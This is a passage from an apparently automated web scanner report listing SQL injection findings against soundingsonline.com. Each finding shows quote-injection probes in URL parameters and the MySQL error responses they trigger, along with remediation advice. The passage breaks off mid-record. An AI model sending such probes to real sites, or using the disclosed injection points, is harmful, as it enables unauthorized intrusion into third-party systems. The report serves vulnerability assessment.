HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:47 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.169. http://www.soundingsonline.com/features/lifestyle [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/lifestyle
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /features/lifestyle?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:56 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /features/lifestyle?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:02 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.170. http://www.soundingsonline.com/features/profiles [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/profiles
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /features/profiles?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:55 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /features/profiles?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:56 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.171. http://www.soundingsonline.com/features/technical [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/technical
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /features/technical?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:09 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:09 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /features/technical?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:12 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.172. http://www.soundingsonline.com/features/type-of-boat [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/type-of-boat
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /features/type-of-boat?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:56 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /features/type-of-boat?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:59 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The Itemid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Itemid parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /index.php?option=com_content&view=category&layout=blog&id=98&Itemid=111' HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:54 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/index.php?option=com_content&view=category&layout=blog&id=98&Itemid=111'' AND ' at line 1</font> ...[SNIP]...
Request 2
GET /index.php?option=com_content&view=category&layout=blog&id=98&Itemid=111'' HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:56 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The chronoformname parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the chronoformname parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /index.php?option=com_chronocontact&chronoformname=CGPage' HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:46:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:46:59 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/index.php?option=com_chronocontact&chronoformname=CGPage'' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /index.php?option=com_chronocontact&chronoformname=CGPage'' HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:47:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:47:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /index.php?option=com_content&view=category&layout=blog&id=98'&Itemid=111 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:50 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /index.php?option=com_content&view=category&layout=blog&id=98''&Itemid=111 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:53 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The layout parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the layout parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /index.php?option=com_content&view=category&layout=blog'&id=98&Itemid=111 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:29 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /index.php?option=com_content&view=category&layout=blog''&id=98&Itemid=111 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:48:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:48:30 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.177. http://www.soundingsonline.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.soundingsonline.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /index.php?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 500 Internal Server Error Connection: close Date: Tue, 25 Jan 2011 02:48:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-type: text/html
Request 2
